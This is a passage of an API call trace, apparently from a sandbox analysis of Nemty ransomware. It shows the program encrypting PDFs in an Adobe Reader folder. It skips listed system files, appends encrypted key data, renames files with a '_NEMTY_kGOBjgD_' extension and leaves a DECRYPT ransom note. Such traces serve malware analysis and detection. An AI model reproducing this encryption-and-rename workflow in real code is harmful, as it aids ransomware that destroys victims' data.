dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.915] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=42055) returned 1 [0188.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa440) returned 0x6352c48 [0188.915] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.915] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa440, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xa440, lpOverlapped=0x0) returned 1 [0188.919] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.919] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa440, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xa440, lpOverlapped=0x0) returned 1 [0188.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.920] SetFilePointer (in: hFile=0x320, lDistanceToMove=42055, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa447 [0188.920] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.920] CloseHandle (hObject=0x320) returned 1 [0188.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0188.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0188.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.920] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0188.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0188.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.921] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c005, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0188.921] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0188.922] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0188.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0188.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0188.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404f8 [0188.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0188.922] Sleep (dwMilliseconds=0x5) [0188.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2441f150, dwHighDateTime=0x1d561e8)) [0188.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2441f150, dwHighDateTime=0x1d561e8)) [0188.929] GetLastError () returned 0x0 [0188.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.929] GetLastError () returned 0x0 [0188.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.930] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.930] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.930] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0188.930] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="zxCIJou7MuSW8UXr1U7M4Pye2uCOW7E1SPkiN73sZCWOq4tPAJPrMGMS9xp93cOY\r\nmtYNA+3A/ycIfnatSFqIAm1t3IEXdkv/iS7/UtYKNfghaJ5wvI88jVP2AgY4E65y\r\naiZ0a8BwWXkSFh1fiQ8DrLAb/wqxkwsyqgtlbNv9Pib4QbetS6WAxcery3VZnoOw\r\nEKgs8kem0IqJO9dT5JNMn5QIbWmbCyMvHFoTKZedmTZf88nBxkbLyVKXcBusS2b8\r\nr+I8y0XJuJ2Vp+BtXpOlEcEATrvPz1g0SemvDRsXZm5oYmwHtA4XTe0+7FOF9+UT\r\n5m/eBQfr8FonzjtunjZcbw==\r\n", pcchString=0x653df5c) returned 1 [0188.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0188.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.931] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=114693) returned 1 [0188.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.931] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.931] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.940] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.940] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.940] SetFilePointer (in: hFile=0x320, lDistanceToMove=114693, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c005 [0188.940] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.940] CloseHandle (hObject=0x320) returned 1 [0188.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0188.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0188.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.941] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.942] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24360a70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24360a70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24386bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0188.942] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0188.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0188.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0188.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 